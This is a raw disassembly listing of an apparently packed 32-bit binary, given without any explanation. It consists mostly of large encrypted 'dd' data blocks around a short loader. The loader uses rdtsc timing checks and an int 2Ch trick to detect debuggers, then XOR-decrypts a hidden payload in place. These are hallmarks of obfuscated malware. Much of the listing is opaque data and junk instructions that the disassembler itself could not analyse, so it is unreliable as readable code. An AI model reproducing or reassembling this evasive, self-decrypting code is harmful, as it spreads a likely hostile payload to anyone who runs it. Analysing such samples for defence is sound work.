		dd 681373C0h, 8ACC2C63h, 8955D0D3h, 0AACC79EDh,	0B6C3A8C4h
		dd 0B4431FF1h, 259E130Bh, 199C1FA1h, 881B07E2h,	1B2386Eh
		dd 0CAA8767Dh, 6C6FEF44h, 0DD56DCAAh, 9BDFDF5Bh, 59CD405Eh
		dd 803C897Dh, 0AE43BB7Ch, 0A02CEDA3h, 0F69B8B5Ch, 0C878F4Ah
		dd 7D36BCA2h, 71DCC792h, 6DAA6AEEh, 99F5EBBh, 7573C65Ch
		dd 0C43347FCh, 358E031Bh, 39AC2FB2h, 90A325D2h,	11A207FDh
		dd 807F0B38h, 0F94AC727h, 0ED72F376h, 279AF31Fh, 0EDFD5EA9h
		dd 0C94CCF64h, 0BB35C342h, 899002B0h, 20DFAB18h, 992AA787h
		dd 8D10D316h, 868E8C7Fh, 7752B9FCh, 821B8D24h, 6FE7E9EFh
		dd 87D6FD18h, 97FBBC2Ch, 5D9EB4A6h, 0AEE83139h,	179B5B17h
		dd 91971B9Eh, 0F673F54Ch, 0C218B679h, 648BF74Ch, 0E55ED0BCh
		dd 0E6C86A9Dh, 58AFD360h, 0C172FC0Ch, 8AB836B3h, 3CA1AF04h
		dd 9D169CAEh, 917EC54Bh, 0BA743EF1h, 0EC037F34h, 6DC64830h
		dd 5E98D215h, 0C0275BE8h, 49FA7494h, 3A8F64Bh, 844B378Ch
		dd 259E14D6h, 0DB09E0F4h, 8E9025ADh, 37BB7B2Fh,	1DBBFB7Eh
		dd 0E96CEF72h, 5C61893Bh, 0E76367B7h, 0CAB8934Eh, 0AC483A83h
		dd 6DB5B300h, 5EEC24E9h, 10D994EEh, 893A9A66h, 7D10BEC5h
		dd 6D8177D0h, 4194EA88h, 2CAD33EEh, 893833C5h, 343BB835h
		dd 0CF6CD3BBh, 0FB44D04Dh, 7C5FDC59h, 69B9E8B4h, 0BD9A3FD8h
		dd 0F97CFFA7h, 12D51B16h, 0D8111895h, 0E57C9FD5h, 0F7247ADFh
		dd 0EDCBC370h, 8BB5D132h, 805BA928h, 991CF774h,	499B93E9h
		dd 0D1568760h, 49EAEE01h, 0AD6F6FC4h, 1DEE2EEh,	248868E5h
		dd 410EC8CDh, 0C646BE2Ah, 0D2CFDB49h, 0E2C5D855h, 15986F26h
		dd 0B13DE492h, 0FD8003A9h, 0F174EA92h, 0E548296Eh, 0D95CEFDAh
		dd 0CD403B56h, 0E586C74Ah, 0B4BD033Eh, 0AAC4AF32h, 5F20A326h
		dd 0C5999736h, 0ABC5872Ah, 5FC8781h, 6D1813EFh,	0EAE467EAh
		dd 8E87F8Ah, 0A44D5559h, 3DF67B41h, 0CE558D52h,	216A4A51h
		dd 1E9A1DA2h, 6B931697h, 2BBCD65Fh, 4415FF52h, 904AD011h
		dd 0AE8h, 84E800h, 32E90000h, 67000000h, 36FF64h, 42258900h
		dd 67314282h, 268964h, 51C93100h, 51515151h, 6851h, 68518000h
		dd 20h,	20685151h, 0FF000000h, 42808C15h, 0C0EBC31h, 0C0297762h
		dd 0C008C8FEh, 0F8750474h, 0F62967EBh, 82B1C929h, 0FC754946h
		dd 0E8h, 0EF815F00h, 0FFFF7261h, 0C981C931h, 294Bh, 0FC078657h
		dd 0F02966FCh, 0C7830788h, 0F9834901h, 5FEE7500h, 58F64h
		dd 5E000000h, 4C8BE7FFh, 0C0311024h, 0B8818Fh, 0C30000h
		dd 0F8ED8300h, 2AE9h, 1A5h dup(0)
		dd 0E6D26D74h, 1405h dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		nop
		call	sub_31441021


loc_31441006:				; CODE XREF: sub_31441021+38j
		pop	ebp
		retn
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_31441008	proc near		; CODE XREF: sub_31441021:loc_31441037p
					; sub_31441021+1Dp
		rdtsc
		retn
sub_31441008	endp


; =============== S U B	R O U T	I N E =======================================



sub_3144100B	proc near		; CODE XREF: sub_31441021+4Ap
		push	ebx
		mov	ecx, 0C99h
		mov	ebx, edx


loc_31441013:				; CODE XREF: sub_3144100B+10j
		xor	[eax], dx
		add	edx, ebx
		lea	eax, [eax+2]
		loop	loc_31441013


loc_3144101D:				; CODE XREF: sub_31441021+51j
		pop	ebx

locret_3144101E:			; CODE XREF: sub_31441021+Ej
					; sub_31441021+10j ...
		retn
sub_3144100B	endp

; ---------------------------------------------------------------------------
		mov	ah, 0FAh

; =============== S U B	R O U T	I N E =======================================



sub_31441021	proc near		; CODE XREF: start+1p
		test	eax, eax
		jnz	short loc_31441029
		int	2Ch		; Internal routine for MSDOS (IRET)
		jmp	short loc_31441037
; ---------------------------------------------------------------------------


loc_31441029:				; CODE XREF: sub_31441021+2j
		mov	dx, cs
		shl	ebx, 0Ah
		js	short locret_3144101E
		jnb	short locret_3144101E
		cmp	dh, bh
		jz	short locret_3144101E


loc_31441037:				; CODE XREF: sub_31441021+6j
		call	sub_31441008
		mov	ebx, eax
		call	sub_31441008
		neg	ebx
		push	ebp
		add	eax, ebx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 18E06h
		sub	eax, 100h
		jnb	short loc_31441006
		sub	ebp, 201006h
		lea	eax, [ebp+201070h]
		mov	dx, [eax-51h]
		call	sub_3144100B
		pop	edi
		cli
		jecxz	short loc_3144101D
		cmp	al, bh
		push	ecx
		or	[ebp+edx+5B8A1FC7h], eax
		wait
		cwde
		push	cs
		movsb
		add	[edx+57h], cl
		lds	esp, [eax-40h]
		and	al, 50h
		sub	[esi], edi
		iret
sub_31441021	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Ch,	0CBh, 0FFh
		dd 0B425DDECh, 8E5A1046h, 0DA58E24Fh, 14D752Fh,	154E78E8h
		dd 1FD414BDh, 38EB846Ch, 0A97F0E25h, 6FE478CBh,	0CA743417h
		dd 35E1207Eh, 28973E9Fh, 0AA73259Ah, 1B189B08h,	4B5811A4h
		dd 608C7369h, 856D8807h, 0ECE29EAEh, 1EAB1447h,	7DE5557Ah
		dd 24C8F23Dh, 0C230C771h, 0D6FDCEA7h, 0DB45D738h, 0E31CC9D1h
		dd 412FCE1Ch, 0A49E170Dh, 8E4887CCh, 3B087D54h,	8031DD0h
		dd 6B6096Ch, 0B4038E0h,	0C821840Bh, 433061FEh, 387C3E2Ch
		dd 2220B62Ch, 0DCB6C910h, 8D4F4D03h, 0E383ACEh,	868FC849h
		dd 0F8E8FDF5h, 0FB18561Fh, 60B8E924h, 0F93592C9h, 6B0BD3D4h
		dd 0C3D0DC6Ch, 3C9EE9A4h, 0AEE0A667h, 0A9D2075h, 1490BEF5h
		dd 0AEED17F1h, 9A9BAACh, 59E1C1A9h, 8713C57Ch, 64986A0Ch
		dd 5ABDDF13h, 4E6874A1h, 44BA5069h, 13CAAA7Bh, 98AF34CCh
		dd 0A8F63814h, 1A500ABCh, 1AD990ADh, 2AB0AACh, 0EFA95A77h
		dd 0F10F57Ch, 0C552E851h, 0C508212Ch, 0D09C519Bh, 823BCAFCh
		dd 0B858AA70h, 0A080DD0Fh, 2061A334h, 9B70892Ah, 90E6B66Ch
		dd 7920E16Ch, 5BA2C241h, 7F30F33Ch, 665B4320h, 0EE4DF60Ch
		dd 51084674h, 0CE29A457h, 0BAF84143h, 11703641h, 0CD5DA114h
		dd 0EF30016Dh, 927AE941h, 0FB8B2CA0h, 3C5B09DEh, 0BA457A45h
		dd 1438CC9Eh, 555C6A47h, 95F6C703h, 0C4189BA0h,	43D8C324h
		dd 92690119h, 876C2FF4h, 191F62D9h, 9278951Dh, 0EDE0E7BBh
		dd 7948EA95h, 72D8F7FCh, 97186C64h, 7DA9D459h, 5D28DD34h
		dd 4852F118h, 6DB82904h, 37203804h, 0E98847D4h,	77A72FD4h
		dd 123048A5h, 0F7C00F0Ch, 0DE01B5E1h, 0F39A90DCh, 7D07EE45h
		dd 0DE40CA1Ah, 0D3C8DCFCh, 0CBBB277Ch, 0BEF2C3E4h, 0DE0A5A15h
		dd 93FD51BEh, 75D08436h, 29BB5A75h, 8980A736h, 118C8B54h
		dd 9C7079BEh, 69D86F22h, 130430C2h, 0C15759B8h,	4A3066AEh
		dd 2802F149h, 0FDD33A0Ch, 29219h, 130124DCh, 17BEF2F7h
		dd 0B7030FCCh, 0FFC82F42h, 0CFD4F59Ch, 61B8F006h, 0C00AABE9h
		dd 0D4F825D4h, 0E3E555B3h, 7DD9C584h, 0B5E09219h, 0AB284F8Bh
		dd 0A28B22D3h, 10739B44h, 8B40BAFEh, 0FC9F6EBh,	561919F9h
		dd 925F1E4h, 9E004665h,	59685B4Bh, 4BD1AD9Bh, 17B5CD84h
		dd 0D5A01BC6h, 2D79CE4Dh, 81FA333h, 0AB591C04h,	0C6038E3h
		dd 1A8F90Bh, 0F6CB7B53h, 0A90F1C4h, 6CE0E72Dh, 0F7621029h
		dd 0A67F5AFCh, 3DC13164h, 5603B8BCh, 0AFA8D837h, 0A23AF065h
		dd 2235856Eh, 8D00870Bh, 82889B6Dh, 3AF4F03Ch, 92A78D5Ah
		dd 664DC36Ah, 58285D39h, 0C03B34DCh, 70534C03h,	93069148h
		dd 0F943C8F6h, 3582816h, 93981DBAh, 85007980h, 6B686270h
		dd 0F0D0FE1Ch, 0BC69B3EEh, 1CF0E686h, 0F92284C1h, 0AF38BBCh
		dd 9DF8A164h, 6DCBBE8Ch, 6223B39Eh, 0A47AAD36h,	0F32A9CAEh
		dd 0D0C0FC2Ch, 84228994h, 294F14ADh, 4546E19Bh,	3DDF69ECh
		dd 0DDE7A0B1h, 4F5055A1h, 54B8FF89h, 0B2993F4Ch, 0A48834D3h
		dd 0A555D9D3h, 3A481F49h, 0DA45980Ch, 0FA282A67h, 0F905723Ch
		dd 0BDF8D55Dh, 0CF727F53h, 0CC20E034h, 9C30D57Ch, 0B0F3A58Bh
		dd 0D272903Ch, 0D504DCC2h, 0C486CE7Bh, 0DA5DD5E8h, 55FC5ECh
		dd 8628A2FAh, 52C20535h, 24887604h, 992A4BE6h, 71CAF50Bh
		dd 9195567Ch, 0D0473E9Bh, 6DB64346h, 3022E21Fh,	26A1C3AEh
		dd 794B2164h, 64E27388h, 6F9A5C53h, 993C68EAh, 0A7B89263h
		dd 0CE927993h, 1803E1F4h, 81A6816Ah, 52A79BF2h,	0BCE0E846h
		dd 0E53873F7h, 8E323923h, 9C92A264h, 79F95C6h, 87E8A4CEh
		dd 7D31AAC5h, 93B3E0E4h, 3C2461C5h, 7FFD9DE3h, 61D07836h
		dd 0F29DCE72h, 3DA062C6h, 0A6F76F00h, 2850079Ah, 41ACE3A1h
		dd 17BE9BCAh, 7C57E386h, 0FE7A0B78h, 6687D2AEh,	0E8C0C432h
		dd 23C2311h, 0D767306Fh, 2BCE64h, 87B0205Dh, 93C203B1h
		dd 2878DB9Ch, 9EA8D8C5h, 0C474C96Ch, 0D9D8DF82h, 0AC657B6Fh
		dd 0F158598Dh, 66B436CCh, 570C108Bh, 7E2ADC53h,	0C2104F64h
		dd 6C9FBB51h, 1D6AAFEBh, 0B2DB2F5Ch, 1EB0E065h,	0EA571A4Ch
		dd 2A41AD21h, 5D45FA1Ch, 1C38DAADh, 155F14EAh, 0E008E554h
		dd 1C4380BCh, 9B898175h, 0C440C4E4h, 0E46C31F4h, 201CDA0Ch
		dd 0F6BBF700h, 95B4ED49h, 74B7707Ch, 9B250803h,	24185B71h
		dd 94D0219Dh, 40C1C0A1h, 7694D89Ch, 4BF1DCC7h, 41781E34h
		dd 368825F4h, 2BF02102h, 215826A5h, 16C01C0Ch, 0C281174h
		dd 0FEC3508Dh, 0D6D152D1h, 40395AACh, 1ABD2790h, 8BF3329Eh
		dd 0A9EBB0A6h, 0A76DA602h, 0DD0AF3D0h, 0DFA4D179h, 0C15DF4D8h
		dd 0E5C9CA98h, 0E108E720h, 0E102F3CFh, 1BD80945h, 13206FFh
		dd 21A80991h, 2C71382Eh, 211114A1h, 1E00949h, 4C2958E6h
		dd 41D97499h, 53796501h, 7FEE74BCh, 7FAB1375h, 662469F9h
		dd 9BD78C54h, 0AF538009h, 86FAABD4h, 8A95AA5Dh,	0BA37BEC1h
		dd 0B1A89D69h, 0B94CDF11h, 0CFF5C19Fh, 0CBACCC30h, 0FD01FBDEh
		dd 0EBBAD714h, 0D055FD1Dh, 11F4118Bh, 5C701829h, 5063A86h
		dd 36B82C6Ch, 377D54F0h, 2CF43D85h, 5E695A26h, 5B1573BCh
		dd 41B44362h, 68346BCDh, 7BDD769Dh, 5517939h, 0BC0C9A83h
		dd 0BC859945h, 0E52D90FDh, 9CC4BABBh, 847DB90Dh, 0C5E5A7A5h
		dd 0F79CA573h, 0DC25D1F3h, 0C9D1ED61h, 0F641EE09h, 0D788D4B1h
		dd 0EABDFF59h, 1E34F5C0h, 14AE1744h, 66690E18h,	8E4059Bh
		dd 358C253Dh, 34090FC1h, 54BC2271h, 31714F0Eh, 72EC4EA3h
		dd 5A704C29h, 5F0D7ADDh, 47B5617Dh, 885D4684h, 81CD93B8h
		dd 8F7C8D04h, 0B937E1FDh, 0A3BD8150h, 0A92FA5FFh, 0C8CD86F4h
		dd 0C162D20Ah, 0E216C3ADh, 0DBE0E354h, 0FD1EE3F1h, 0E2DDF990h
		dd 127EEC2Dh, 6E11ABEh,	2686025Dh, 323C259Ch, 13D43966h
		dd 2B4F2100h, 5CE70ED4h, 50997458h, 512A4CD6h, 7C8D234Dh
		dd 76414E04h, 4EF642ABh, 0FD9D6F2Dh, 9D0588E3h,	8DA48752h
		dd 0AE408231h, 92FFB68Dh, 0AC70814Ch, 0D11A93DAh, 0C0A3DC7Fh
		dd 0C64AFE84h, 0EDD3C68Fh, 0FD4EAB67h, 8904FDCEh, 1DB7F674h
		dd 47330AE9h, 11CD20C6h, 3A426428h, 3D3E3DA5h, 1AE02A40h
		dd 560E30F1h, 40F15C90h, 48715D10h, 6CE550B9h, 71BB1A75h
		dd 663949E8h, 96D75561h, 87458E02h, 9EEDBCD4h, 0BA9C8C7Ah
		dd 0B035B3F0h, 0AFAC830Ch, 9528B511h, 0C5F1D7B2h, 0DD9DD912h
		dd 0C926C3E3h, 0C3C8FE78h, 0FE44E215h, 0ECD9E985h, 76631420h
		dd 1F0102E3h, 0CB92079h, 22765BE1h, 3ECA34ADh, 33583227h
		dd 5A194DD5h, 58BD5641h, 442B49D8h, 62E61B9Ah, 6D75631Fh
		dd 683E63B0h, 0B8E09940h, 893AB2E0h, 0B1D5929Dh, 0B27BB316h
		dd 8280A2BFh, 0A49A8440h, 0E735C8FDh, 0C9DBDD76h, 0DA65D41Fh
		dd 0D4FCD2D4h, 0F891F74Eh, 0E13DD4C1h, 19AF1478h, 205C3C74h
		dd 0BC617BDh, 31B72A21h, 390337FFh, 42A6277Dh, 487F4932h
		dd 5FC85C81h, 50654B23h, 730749C7h, 43D07D79h, 664847F0h
		dd 9BC5AE82h, 80679A20h, 0B304A6BCh, 0BDACB156h, 0A716A7EFh
		dd 0A2DDBC86h, 0D475F330h, 0AE01C1ABh, 0D6B1DD62h, 0CA31ECF1h
		dd 0EBC4E085h, 0E276C009h, 18ED0CA3h, 871D40h, 3324279Ch
		dd 3CCC3676h, 3B523D3Ah, 9E428A1h, 4B9F5259h, 5B0A34DDh
		dd 4DAE7F60h, 7F4C7017h, 66E2608Fh, 6BAC6D2Ah, 931391EDh
		dd 86BA8147h, 0B2308D12h, 0AECB9EB7h, 0A574A72Dh, 0A90BCAC4h
		dd 0C9B5B373h, 0D553D6EBh, 0CAC3AA98h, 0F86DCE3Ah, 0F51795C8h
		dd 0F6B7E350h, 1539E2F8h
		dd 70CD1895h, 10730E2Eh, 351D13C4h, 3F935648h, 322D20F7h
		dd 4FDE09FCh, 54764401h, 49EC68B8h, 7AA04447h, 743C72F2h
		dd 72D64504h, 994E7309h, 85EDB1A0h, 889E837Fh, 0B92C82C1h
		dd 0B0B48468h, 8E28A900h, 0CEF5B5B2h, 0FE8CD22Ah, 0E60EC9DCh
		dd 0E8A6EB14h, 0F75EE519h, 0E2E8C390h, 1172D722h, 1C2177F5h
		dd 9A20868h, 386A16E1h,	3BE6338Dh, 9082838h, 6D3114F8h
		dd 1CEA0B6Dh, 280C61C8h, 5ECF47A6h, 76637730h, 801688Fh
		dd 0B287667Eh, 0B8269DE4h, 90F59499h, 0BB4AE325h, 0B6F589ABh
		dd 0A9BEB746h, 0FB35B6F0h, 0E1B8F87Ch, 0CC73C909h, 0F2E9F5A0h
		dd 0EBB5FC49h, 60DB8EE5h, 2F08AF09h, 7428791Ch,	4DDCE334h
		dd 34F80E47h, 73008A9h,	85434A7Eh, 6FE4CF2Ch, 65D853B0h
		dd 0BFFF7C1Eh, 1F480EDEh, 0EBDCDE9Fh, 2A127D11h, 0F76487ECh
		dd 7085AD97h, 0EA50FAC5h, 0B5881A17h, 2A4EB08Ch, 0EA82D561h
		dd 0B4D0405Ch, 9510EABBh, 21E0B072h, 2B48CF40h,	0FDF0F030h
		dd 8B089064h, 0EAD287A6h, 2BC81334h, 6B3A709Ch,	9FE83555h
		dd 760A05F9h, 0B4D10FD4h, 60D9E4A9h, 42A7BEA4h,	7B4DBA47h
		dd 0C2280661h, 160596D0h, 8F83154h, 0FE33517Dh,	0B84D77C6h
		dd 6130D156h, 0E181F26Bh, 2858344Ch, 49E32E4Bh,	0C1F0ED4Eh
		dd 0AE593309h, 0EB48B1ECh, 29F758ABh, 0B75ACA39h, 0F8181724h
		dd 0ECCF0A87h, 9FA87CEDh, 92EF8D6Eh, 0A127A04Fh, 57E0B579h
		dd 0CC155294h, 62AA6511h, 0B5D10E64h, 0DA04E49h, 73BC7934h
		dd 49014DCDh, 246E86FBh, 7A7084Ch, 5A1D02F0h, 0B0F0D315h
		dd 0B658EC66h, 0D8C0DEE4h, 23A98E74h, 0C3B0D28Dh, 2D75412Eh
		dd 0AE40A9B0h, 8305FB44h, 991A9E58h, 0E8945767h, 9E620C8Bh
		dd 59A57E94h, 74B4F1DBh, 641C69A4h, 9AFD5EC6h, 4E62553Eh
		dd 378F7A43h, 0BCCDC020h, 47B0404Ch, 24A829FFh,	194BCFD7h
		dd 0BAF52894h, 4C010ACh, 0FB44451Fh, 653BF4FCh,	0E518EB6Ch
		dd 11AB27CFh, 3C235E54h, 0C024AB3Ah, 514D2243h,	0BFE736AEh
		dd 0F65C2183h, 0CEA06CB7h, 0C209D5CEh, 103F7466h, 7B08AA1Eh
		dd 0FB9CB15Fh, 45D1B5D1h, 0D8B74BACh, 570F51FEh, 46D84B16h
		dd 0F89B176Dh, 1BC4A325h, 0A26D2B94h, 0DBE32914h, 9822A6C6h
		dd 268ACF79h, 71EAF654h, 0FDA97FEh, 253999EDh, 0DC4009D9h
		dd 50F5D6F4h, 0E70BDEB1h, 74E54AC4h, 32E09706h,	0A74088E8h
		dd 9C0925F3h, 7E999764h, 87808EC4h, 7DECEA60h, 0E7AF779Ch
		dd 679844FAh, 0D9AD9EE7h, 528953F0h, 479A1D3Ch,	3D58464Ch
		dd 66926E0Ch, 0BDD77A74h, 1DB00B26h, 8575D177h,	8600CA8h
		dd 0FFA25245h, 9B31922Dh, 0A898EDE4h, 18951C1Eh, 4568F89Dh
		dd 93A43899h, 0BA5097D4h, 0E4A0B8EDh, 892C1AABh, 6170A3BEh
		dd 0B3F23FB1h, 49C5D78Ch, 6A4B9580h, 1EC4F20Ch,	3E293CC4h
		dd 18759B7Ah, 0D4879BEh, 99C58E79h, 9D8DBB32h, 0B98019E5h
		dd 7EBA6B63h, 920860F6h, 14B91E93h, 0CA13A46Ch,	0CD114BEh
		dd 0A4A0AA97h, 0BA08BFF4h, 11551A5Eh, 5428FA5Dh, 0CA92C718h
		dd 9B8C3A44h, 23F545A4h, 0F9C8903Eh, 8AA63083h,	57C59AC4h
		dd 0B5809048h, 0C669F0BEh, 609CF697h, 72DB70A4h, 70A0F061h
		dd 870B5B74h, 0CFA2AFEAh, 0BF5049E4h, 39403B8Ch, 2BA8C070h
		dd 1B2EA65Ch, 963E0BB1h, 8FEF1112h, 1480675h, 8390C57Ch
		dd 0D299B795h, 0A6CEAF9Ch, 1963FE41h, 8351975Ah, 0ABE9092Fh
		dd 0E476ED6Ch, 8606242Bh, 9AA9A71Ch, 28DD9365h,	65C0920Ch
		dd 822887C5h, 25C0425Dh, 0E9F7240Dh, 62606709h,	0FBC09B97h
		dd 0C93F5F40h, 4298477Dh, 0CB751D70h, 22520E18h, 22D0A499h
		dd 3835B084h, 308032CCh, 776D6F75h, 0C4DC82C9h,	6CA48604h
		dd 8B6017F2h, 0A9DDA980h, 0BE13ADDDh, 0B657E7FEh, 47A77844h
		dd 1479BC94h, 0A3B08FECh, 664A7C93h, 0AEAAA959h, 0D328BA34h
		dd 91002ECCh, 6EB8740Dh, 0A570628h, 3DE931B8h, 0D065AB3Ch
		dd 0C158698Eh, 0AF64BCCh, 0E7ADBDBDh, 759009F6h, 19FB1F2Ch
		dd 59314528h, 0A65DF544h, 7730DF56h, 0CF83F871h, 2C33BA4Ch
		dd 88388EE0h, 5A2F844Dh, 0C518E352h, 4584BB6Bh,	902117C1h
		dd 25B352BCh, 0BACD9FA9h, 53B9948Ch, 818CD67Fh,	7B1080B4h
		dd 9DF928C4h, 65C07635h, 7558DD1Fh, 0E53B55DCh,	4638657Ch
		dd 0B60BBBCFh, 30C81820h, 0A3DB8E6Fh, 1B980F14h, 3F2C83E7h
		dd 838B0BF4h, 0FBD02F38h, 7930F42Dh, 19C0EC1Fh,	0FC02DBE1h
		dd 8D593DDCh, 0AF8EA900h, 0EC3CA4CFh, 0D8BBCE7Ch, 0EA5CCD1Fh
		dd 0EEF7CC81h, 40339735h, 713A433Fh, 9D53D0C5h,	71781D87h
		dd 0DF23B15h, 0ABDEF4Ch, 0EB7077A1h, 47D84D33h,	0C30D4601h
		dd 5457C80Bh, 6514A0F7h, 1D7822C4h, 556DB34Ah, 0EC7AA690h
		dd 1F1B6450h, 0F38D759Fh, 0BC80CDE2h, 22BAE55Eh, 0F37ABE09h
		dd 0ECCC4504h, 0A6E44064h, 36877851h, 0A8F0AF99h, 0BE30A3CEh
		dd 0C5C0990Dh, 1CD7851Eh, 7EB0A9B2h, 0F8F427CFh, 0F4E97EE2h
		dd 5EE84A10h, 7A38D4F5h, 0AA194EC4h, 30FFB44Ch,	34026AE5h
		dd 9C2F2976h, 1F180A84h, 3EB68C13h, 0F5580F74h,	0DF5E0409h
		dd 564D0524h, 0B240CFA5h, 0D03B2471h, 0D5118ED8h, 0F1F9A9C4h
		dd 0B3949F61h, 8BDD45C7h, 43B08FD6h, 0A018A425h, 95482441h
		dd 3DE79034h, 0F4DD9BD2h, 71D06435h, 3C20706Dh,	497EF02Bh
		dd 2A65B1Ch, 62E6C55Bh,	34B462Ch, 0BDEB3848h, 0F893488Ch
		dd 0ABD854CFh, 22ED03E6h, 8654027h, 4887BFh, 84FDA881h
		dd 1EE2F438h, 0C8C50DEDh, 0A45BF810h, 3F3B88A0h, 0CEBC9467h
		dd 0B446B8E3h, 2E443A6Fh, 0EF535427h, 9BF51584h, 7A8B1DAh
		dd 86A5BC6Ah, 5785CEAh,	685559AFh, 594847BAh, 779E5449h
		dd 3C9B5D64h, 717FB833h, 275DB4F4h, 0A45012B2h,	2963C89h
		dd 72704D6Ch, 0CE242D7h, 2F00854h, 7DA7AA24h, 0EDE0E644h
		dd 0CAEE7D8Bh, 556FDDFCh, 0CDD8C60Ch, 0CC9F302Fh, 47378590h
		dd 0AEB53A83h, 0C99888CAh, 0CF00F44Ch, 0BCFD6CE4h, 8D0A936h
		dd 59166A01h, 6C40B2ECh, 64623904h, 737ECB43h, 0CB515404h
		dd 44606794h, 39C2EA7Fh, 7F22CB0Eh, 0A789C3Bh, 8C1F1F0Ch
		dd 0F683EBEh, 2AB08C77h, 0FE91FF44h, 4D150BE8h,	6FE8CA1Dh
		dd 6FDBE3CFh, 0CF98FB1Ch, 0F13A9EE7h, 2FA3415Fh, 0AFD09B38h
		dd 8B4C272Fh, 0B16DA02Ch, 6ACA3EB6h, 98800F51h,	2BA98064h
		dd 213125FFh, 4C1EFEEBh, 0A460605Ch, 70B1F771h,	3525884Ch
		dd 5E526A8Eh, 5CB25772h, 66024FE1h, 77C5489Fh, 3F3A2538h
		dd 2A1C67D8h, 0A8D83009h, 0B414A5D5h, 93EBB7B9h, 0B275932Eh
		dd 0BF1795B0h, 0AA8FBE58h, 0E03CA4C7h, 0C7C2D3AFh, 0D47DCF0Dh
		dd 0FDE8F290h, 0D08CF246h, 0F435EFFFh, 1DE8DE77h, 174D161Eh
		dd 14FA09A0h, 2E992460h, 3E3920C1h, 2BAF1D60h, 6151211Dh
		dd 5CF1438Fh, 438A4C20h, 7B0F50FCh, 4EAD747Dh, 6044783Dh
		dd 87F1708Bh, 83419C29h, 8B0181C4h, 0B2B9977Dh,	9F64ABEAh
		dd 0C8D4BE85h, 0EA4E8C07h, 0F622F9EBh, 0CBB1E378h, 0F133CCFEh
		dd 0C4F4EC92h, 0E674E035h, 3D24F0B3h, 16920B59h, 0C1E1AFAh
		dd 31D9108Eh, 2C5D050Ah, 3BEF22BCh, 6AE83651h, 51374BFDh
		dd 5AD76770h, 1F222418h, 148849D4h, 7B800F3Ch, 92317CCBh
		dd 9FB49422h, 9A448106h, 0B1F9CABDh, 9AF8B522h,	0EA2B8CE5h
		dd 0CEA5A764h, 0C644C31Ah, 0EFCBFAEEh, 0EA62851Eh, 0B526D3FBh
		dd 0F8B9E63Ah, 8A0BF0F0h, 75A092B9h, 0EA557054h, 4050E751h
		dd 6A5D9D24h, 4B407099h
		dd 6AAAD00Bh, 0DED13B7Ch, 414444DBh, 9655AD32h,	4F483BBDh
		dd 7E9E2C50h, 3F99604Eh, 0D5F5E633h, 0C1564CB9h, 97DBE6BCh
		dd 0B01D8B06h, 26A55CC9h, 4E88E6FCh, 96D9ACB9h,	0EAD14BA4h
		dd 5F8E2BF6h, 75292D8Fh, 1CC7A13h, 0A1EDFEC1h, 770A2CACh
		dd 0F9377C7Eh, 62104D66h, 5FBC2067h, 0A5442748h, 426847BCh
		dd 19937B4Fh, 2D747EC0h, 0B52B213h, 0D8031D74h,	67E300C8h
		dd 97275B26h, 0F860D422h, 53B220Bh, 1CEF112Fh, 0D878D62Ch
		dd 8EA6802Ch, 0ED1B87CBh, 0B8FCF1B8h, 87EA269Bh, 0FB68A8ECh
		dd 701761CDh, 8E509397h, 0D1FDDA51h, 3D0E4C5Fh,	91883F98h
		dd 43DA7BA9h, 5952B6A4h, 3DB7540Ch, 2A413B04h, 39D158A8h
		dd 806DCB14h, 0AD600985h, 39E1A591h, 82011B7Ch,	24810A69h
		dd 3E85764Ch, 0BE68D49Eh, 0CEC27FE3h, 0B2ABDFA4h, 0CFA0D4E8h
		dd 0DC187FD9h, 3729BF9Ch, 8FF21F99h, 5682428Ch,	5DCE600Bh
		dd 0B030D5D9h, 6288AC4h, 5AC0C289h, 0E5C57594h,	65904AFCh
		dd 5A723434h, 38D255A6h, 0C5E84B36h, 11FED563h,	0F03D3624h
		dd 0AB025E36h, 3BA81359h, 169A443Ch, 2618BE29h,	0AD94012Ch
		dd 0A379A624h, 0CC227E23h, 24A0E164h, 0F14A7C39h, 0D4D0A14h
		dd 0BC30E150h, 4E6B850Ch, 0CC8D53B3h, 5B6881A6h, 0B1C58C99h
		dd 0D86CDA84h, 8FBE69DFh, 0F7CF88ABh, 675079A7h, 68873672h
		dd 0ADB35864h, 5C2D8B0Bh, 6B106249h, 0DA4C68BCh, 0D81FDE2Ch
		dd 853A753h, 77E617DCh,	0C12B5912h, 0D39C8741h,	0A3B9F814h
		dd 0B900BCCDh, 4847B255h, 0D300F266h, 0E28A582Bh, 5531C31Ch
		dd 5B2CCDBBh, 0A8C0AE00h, 0C964EB27h, 0BDD9C89Dh, 88B4C200h
		dd 54721653h, 7F207934h, 3A306E7Ch, 2AFD30ACh, 216C381Ah
		dd 19680FD1h, 177ED1E3h, 0B9AB39A4h, 98AE259h, 1FC04C54h
		dd 7E2619BCh, 0E74DF024h, 724024A5h, 0D4B79761h, 7EAD625Ch
		dd 8978C4EFh, 411F8D7Eh, 0CA68E62Eh, 32BC007Fh,	950731F1h
		dd 0C0D7FFCCh, 0F7BAF335h, 15509A9Eh, 255043FBh, 3DF7A96h
		dd 559D7B69h, 6184703Ch, 604BEDCCh, 6F55A40Ch, 0A328705Eh
		dd 409045D0h, 76B76813h, 55203E7h, 20846A50h, 3C228E83h
		dd 630B10C4h, 100064Bh,	0EE0F4E39h, 6689F13Ch, 0C1129C39h
		dd 24F233ECh, 0C0E02EABh, 9670C6BCh, 0F891F26Dh, 0E86EE5C9h
		dd 5EA8EAB8h, 0B73A8EC9h, 83B814C4h, 81E2B2A8h,	7220EF94h
		dd 0E1B071FCh, 4200C2D1h, 0EA0D05CCh, 4CC878A2h, 0BDA25C74h
		dd 0AD05BEFBh, 2D201246h, 2098A3DBh, 0FB711D3Ch, 0D581334h
		dd 3C16058h, 6DD7FD74h,	0EDB0D8A6h, 0E3682CC5h,	5330DDACh
		dd 9FC8B9C0h, 0E9AA5D83h, 781DBDC4h, 0C60DC615h, 0A368BB3Ch
		dd 0B2EA0BE3h, 6CD393A4h, 0A3E2356Fh, 0C087E74h, 28F5FE95h
		dd 33D84904h, 73C6CB73h, 8E2D53D4h, 4599CD53h, 79F33EC4h
		dd 0D1E0BF20h, 66CDA6A4h, 0DFB03EDCh, 2F34DFE1h, 4EA08CCh
		dd 0FB82FE5Eh, 0C5C26163h, 1C3BEA24h, 0BAA4D093h, 5C88D4D5h
		dd 0E4CE5FB1h, 0AA32BF84h, 3A3FE65Eh, 0A50880F6h, 1F9F5F59h
